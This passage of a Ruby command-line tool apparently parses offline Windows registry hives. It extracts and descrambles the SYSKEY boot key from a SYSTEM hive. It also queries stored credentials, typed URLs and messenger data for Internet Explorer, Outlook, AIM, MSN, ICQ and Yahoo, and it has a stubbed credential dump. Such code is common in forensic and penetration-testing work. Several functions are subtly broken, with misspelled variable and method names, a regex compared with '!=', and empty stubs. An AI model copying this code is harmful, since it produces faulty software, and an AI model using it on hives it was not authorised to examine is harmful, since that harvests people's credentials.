'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ]
)
if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0
nodekey.lf_record.children.each do |key|
table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count]
end
end
puts table.to_s
end
def print_all_values(nodekey)
return if !nodekey
return if !nodekey.lf_record
return if !nodekey.lf_record.children
return if nodekey.lf_record.children.length == 0
table = Rex::Ui::Text::Table.new(
'Header' => "Values in key #{nodekey.full_path}",
'Indent' => ' '.length,
'Columns' => ['Name','Value Type', 'Value']
)
if nodekey.value_list && nodekey.value_list.values.length > 0
nodekey.value_list.values.each do |value|
table << [value.name, value.readable_value_type, value.value.data]
end
end
puts table.to_s
end
def get_system_information
if @hive.hive_regf.hive_name =~ /SYSTEM/
mounted_devices_info_key = @hive.relative_query("\\MountedDevices")
current_control_set_key = @hive.value_query('\Select\Default')
current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key
computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set
computer_name = computer_name_key.value.data.to_s if computer_name_key
event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set
puts "Computer Name: " + computer_name if computer_name
print_all_values(event_log_info_key) if event_log_info_key
puts "-----------------------------------------" if event_log_info_key
print_all_values(mounted_devices_info_key) if mounted_devices_info_key
puts "-----------------------------------------" if mounted_devices_info_key
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion")
login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon")
print_all_values(current_version_info_key)
puts "-----------------------------------------" if current_version_info_key
print_all_values(login_info_key)
puts "-----------------------------------------" if login_info_key
end
end
def get_user_information
local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names")
local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names")
print_all(local_groups_info_key)
puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children
print_all(local_users_info_key)
puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children
end
def dump_creds
end
def get_boot_key
return if !@hive.root_key
return if !@hive.root_key.name
puts "Getting boot key"
puts "Root key: " + @hive.root_key.name
default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first
puts "Default ControlSet: ControlSet00#{default_control_set}"
bootkey = ""
basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = @hive.relative_query(basekey + "\\" + k)
return nil if not ok
tmp = ""
0.upto(ok.class_name_length - 1) do |i|
next if i%2 == 1
tmp << ok.class_name_data[i,1]
end
bootkey << [tmp.to_i(16)].pack('V')
end
keybytes = bootkey.unpack("C*")
descrambled = ""
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
end
puts descrambled.unpack("H*")
end
def list_applications
end
def list_drivers
end
def get_aol_instant_messenger_information
if @hive.hive_regf.hive_name != /NTUSER\.dat/i
users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users')
last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name")
print_all_keys(user_list_key)
user_list_key.lf_record.children.each do |screenname|
away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList")
file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer")
profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry")
recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames")
print_all(away_messages_key)
print_all(file_xfer_settings_key)
print_all(profile_info_key)
print_all(recent_contacts_key)
end
end
end
def get_msn_messenger_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\")
file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare")
file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder")
print_all(general_information_key)
print_all(file_sharing_information_key)
print_all(file_transfers_information_key)
end
end
def get_windows_messenger_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service")
file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder")
last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName")
print_all(contact_list_information_key)
print_all(file_transers_information_key)
print_all(last_user_information_key)
end
end
def get_icq_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ")
print_all(general_information_key)
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner")
print_all(owner_number_key)
end
end
def get_ie_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData")
stored_search_terms_information_key = @hive.relative_quety("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main")
history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep")
typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs")
intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms")
autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider")
default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer")
print_all(stored_logon_information_key)
print_all(stored_search_terms_information_key)
print_all(ie_settings_information_key)
print_all(type_urls_information_key)
print_all(intelliforms_information_key)
print_all(autocomplete_web_addresses_key)
print_all(default_download_dir)
puts "Days saved in history: " + history_length_value_key.value.data.to_s
end
end
def get_outlook_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords")
print_all(account_information_key)
end
end
def get_yahoo_messenger_information
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles")
print_all(profiles_key)
profiles_key.lf_record.children.each do |child|
file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer")
message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive")
print_all(file_transfer_information_key)
print_all(message_archiving_information_key)
end
end
end
def get_networking_information
end
def get_user_application_information
end
if ARGV.length == 0 || ARGV[0] == "help"
no_args = %Q{
Usage: reg.rb <command> <opts> <hivepath>
Available commands:
query_key Query for more information about a specific node key
query_value Query for the value of a specific value key
get_boot_key Extract the boot key from the SYSTEM hive
dump_creds Dump the usernames and password hashes of the users from the SAM hive
list_applications List all the applications installed via the SOFTWARE hive
list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive
get_everything When pointed to a directory with hives, it will run all commands on all available hives
get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat
get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat
get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat
get_icq_information Get credentials and general information on ICQ users from NTUSER.dat
get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat
get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat
get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat
get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives
get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives
get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives
get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives
}
puts no_args
elsif ARGV[0] == "query_key"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
puts "Hive name: #{@hive.hive_regf.hive_name}"
1.upto(ARGV.length - 2) do |arg|
selected = @hive.relative_query(ARGV[arg])
print_all(selected)
end
elsif ARGV[0] == "query_value"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
puts "Hive name: #{@hive.hive_regf.hive_name}"
1.upto(ARGV.length - 2) do |i|
selected = @hive.value_query(ARGV[i])
if !selected
puts "Value not found."
return
end
puts "Value Name: #{selected.name}"
puts "Value Data: #{selected.value.data.inspect}"
end
elsif ARGV[0] == "get_boot_key"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SYSTEM/
puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_regf.hive_name}."
else
get_boot_key
end
elsif ARGV[0] == "dump_creds"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SAM/
puts "I need a SAM hive, not a #{@hive.hive_regf.hive_name}"
else
dump_creds
end
elsif ARGV[0] == "list_applications"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SOFTWARE/
puts "I need a SOFTWARE hive, not a #{@hive.hive_regf.hive_name}."
else
list_applications
end
elsif ARGV[0] == "list_drivers"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SYSTEM/
puts "I need a SYSTEM hive, not a #{@hive.hive_regf.hive_name}."
else
list_drivers
end
elsif ARGV[0] == "get_everything"
Dir.foreach(ARGV[1]) do |file|
next if file =~ /^\./
@hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file)
next if !@hive.hive_regf
next if !@hive.hive_regf.hive_name
if @hive.hive_regf.hive_name =~ /SYSTEM/
puts "Found a SYSTEM hive..."
list_drivers
get_boot_key
get_system_information
get_networking_information
get_user_information
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
puts "Found a SOFTWARE hive..."
list_applications
get_icq_information
get_system_information
get_networking_information
get_user_information
get_user_application_information
elsif @hive.hive_regf.hive_name =~ /SAM/
puts "Found a SAM hive..."
get_networking_information
get_user_information
elsif @hive.hive_regf.hive_name =~ /SECURITY/
puts "Found a SECURITY hive..."
get_user_information
elsif @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
puts "Found a NTUSER.dat hive..."
get_aol_instant_messenger_information
get_icq_information
get_ie_information
get_msn_messenger_information
get_outlook_information
get_windows_messenger_information
get_yahoo_messenger_information
get_networking_information
get_user_information
get_user_application_information
end
end
elsif ARGV[0] == "get_aol_instant_messenger_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.DAT/i
puts "I need the NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
else
get_aol_instant_messenger_information
end
elsif ARGV[0] == "get_icq_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/
puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
else
get_icq_information
end
elsif ARGV[0] == "get_ie_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
else
get_ie_information
end
elsif ARGV[0] == "get_msn_messenger_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
else
get_msn_messenger_information
end
elsif ARGV[0] == "get_outlook_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
else
get_outlook_information
end
elsif ARGV[0] == "get_windows_messenger_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
else
get_windows_messenger_information
end
elsif ARGV[0] == "get_yahoo_messenger_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
else
get_yahoo_messenger_information
end
elsif ARGV[0] == "get_system_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /SOFTWARE/
puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_regf.hive_name}."
else
get_system_information
end
elsif ARGV[0] == "get_networking_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SAM/ && @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
else
get_networking_information
end
elsif ARGV[0] == "get_user_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /SAM/
puts "I need a SAM hive. Not a #{@hive.hive_regf.hive_name}."
else
get_user_information
end
elsif ARGV[0] == "get_user_application_information"
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/
puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_regf.hive_name}."
else
get_user_application_information
end
end